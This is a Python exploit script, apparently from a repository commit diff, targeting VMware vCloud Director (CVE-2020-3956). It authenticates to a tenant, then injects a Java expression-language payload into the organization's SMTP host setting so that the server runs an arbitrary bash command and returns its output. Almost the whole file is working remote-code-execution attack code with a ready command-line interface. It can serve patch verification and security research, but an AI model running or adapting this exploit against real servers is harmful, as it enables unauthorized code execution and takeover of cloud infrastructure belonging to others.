1
+ #!/usr/bin/python
2
+ # Exploit Title: vCloud Director - Remote Code Execution
3
+ # Exploit Author: Tomas Melicher
4
+ # Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
5
+ # Date: 2020-05-24
6
+ # Vendor Homepage: https://www.vmware.com/
7
+ # Software Link: https://www.vmware.com/products/cloud-director.html
8
+ # Tested On: vCloud Director 9.7.0.15498291
9
+ # Vulnerability Description:
10
+ # VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.
11
+
12
+ import argparse # pip install argparse
13
+ import base64 , os , re , requests , sys
14
+ if sys .version_info >= (3 , 0 ):
15
+ from urllib .parse import urlparse
16
+ else :
17
+ from urlparse import urlparse
18
+
19
+ from requests .packages .urllib3 .exceptions import InsecureRequestWarning
20
+ requests .packages .urllib3 .disable_warnings (InsecureRequestWarning )
21
+
22
+ PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
23
+ session = requests .Session ()
24
+
25
+ def login (url , username , password , verbose ):
26
+ target_url = '%s://%s%s' % (url .scheme , url .netloc , url .path )
27
+ res = session .get (target_url )
28
+ match = re .search (r'tenant:([^"]+)' , res .content , re .IGNORECASE )
29
+ if match :
30
+ tenant = match .group (1 )
31
+ else :
32
+ print ('[!] can\' t find tenant identifier' )
33
+ return (None ,None ,None ,None )
34
+
35
+ if verbose :
36
+ print ('[*] tenant: %s' % (tenant ))
37
+
38
+ match = re .search (r'security_check\?[^"]+' , res .content , re .IGNORECASE )
39
+ if match : # Cloud Director 9.*
40
+ login_url = '%s://%s/login/%s' % (url .scheme , url .netloc , match .group (0 ))
41
+ res = session .post (login_url , data = {'username' :username ,'password' :password })
42
+ if res .status_code == 401 :
43
+ print ('[!] invalid credentials' )
44
+ return (None ,None ,None ,None )
45
+ else : # Cloud Director 10.*
46
+ match = re .search (r'/cloudapi/.*/sessions' , res .content , re .IGNORECASE )
47
+ if match :
48
+ login_url = '%s://%s%s' % (url .scheme , url .netloc , match .group (0 ))
49
+ headers = {
50
+ 'Authorization' : 'Basic %s' % (base64 .b64encode ('%s@%s:%s' % (username ,tenant ,password ))),
51
+ 'Accept' : 'application/json;version=29.0' ,
52
+ 'Content-type' : 'application/json;version=29.0'
53
+ }
54
+ res = session .post (login_url , headers = headers )
55
+ if res .status_code == 401 :
56
+ print ('[!] invalid credentials' )
57
+ return (None ,None ,None ,None )
58
+ else :
59
+ print ('[!] url for login form was not found' )
60
+ return (None ,None ,None ,None )
61
+
62
+ cookies = session .cookies .get_dict ()
63
+ jwt = cookies ['vcloud_jwt' ]
64
+ session_id = cookies ['vcloud_session_id' ]
65
+
66
+ if verbose :
67
+ print ('[*] jwt token: %s' % (jwt ))
68
+ print ('[*] session_id: %s' % (session_id ))
69
+
70
+ res = session .get (target_url )
71
+ match = re .search (r'organization : \'([^\']+)' , res .content , re .IGNORECASE )
72
+ if match is None :
73
+ print ('[!] organization not found' )
74
+ return (None ,None ,None ,None )
75
+ organization = match .group (1 )
76
+ if verbose :
77
+ print ('[*] organization name: %s' % (organization ))
78
+
79
+ match = re .search (r'orgId : \'([^\']+)' , res .content )
80
+ if match is None :
81
+ print ('[!] orgId not found' )
82
+ return (None ,None ,None ,None )
83
+ org_id = match .group (1 )
84
+ if verbose :
85
+ print ('[*] organization identifier: %s' % (org_id ))
86
+
87
+ return (jwt ,session_id ,organization ,org_id )
88
+
89
+
90
+ def exploit (url , username , password , command , verbose ):
91
+ (jwt ,session_id ,organization ,org_id ) = login (url , username , password , verbose )
92
+ if jwt is None :
93
+ return
94
+
95
+ headers = {
96
+ 'Accept' : 'application/*+xml;version=29.0' ,
97
+ 'Authorization' : 'Bearer %s' % jwt ,
98
+ 'x-vcloud-authorization' : session_id
99
+ }
100
+ admin_url = '%s://%s/api/admin/' % (url .scheme , url .netloc )
101
+ res = session .get (admin_url , headers = headers )
102
+ match = re .search (r'<description>\s*([^<\s]+)' , res .content , re .IGNORECASE )
103
+ if match :
104
+ version = match .group (1 )
105
+ if verbose :
106
+ print ('[*] detected version of Cloud Director: %s' % (version ))
107
+ else :
108
+ version = None
109
+ print ('[!] can\' t find version of Cloud Director, assuming it is more than 10.0' )
110
+
111
+ email_settings_url = '%s://%s/api/admin/org/%s/settings/email' % (url .scheme , url .netloc , org_id )
112
+
113
+ payload = PAYLOAD_TEMPLATE .replace ('COMMAND' , base64 .b64encode ('(%s) 2>&1' % command ))
114
+ data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
115
+ data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
116
+ data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
117
+ data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>' % (payload )
118
+ data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
119
+ res = session .put (email_settings_url , data = data , headers = headers )
120
+ match = re .search (r'value:\s*\[([^\]]+)\]' , res .content )
121
+
122
+ if verbose :
123
+ print ('' )
124
+ try :
125
+ print (base64 .b64decode (match .group (1 )))
126
+ except Exception :
127
+ print (res .content )
128
+
129
+
130
+ parser = argparse .ArgumentParser (usage = '%(prog)s -t target -u username -p password [-c command] [--check]' )
131
+ parser .add_argument ('-v' , action = 'store_true' )
132
+ parser .add_argument ('-t' , metavar = 'target' , help = 'url to html5 client (http://example.com/tenant/my_company)' , required = True )
133
+ parser .add_argument ('-u' , metavar = 'username' , required = True )
134
+ parser .add_argument ('-p' , metavar = 'password' , required = True )
135
+ parser .add_argument ('-c' , metavar = 'command' , help = 'command to execute' , default = 'id' )
136
+ args = parser .parse_args ()
137
+
138
+ url = urlparse (args .t )
139
+ exploit (url , args .u , args .p , args .c , args .v )
0 commit comments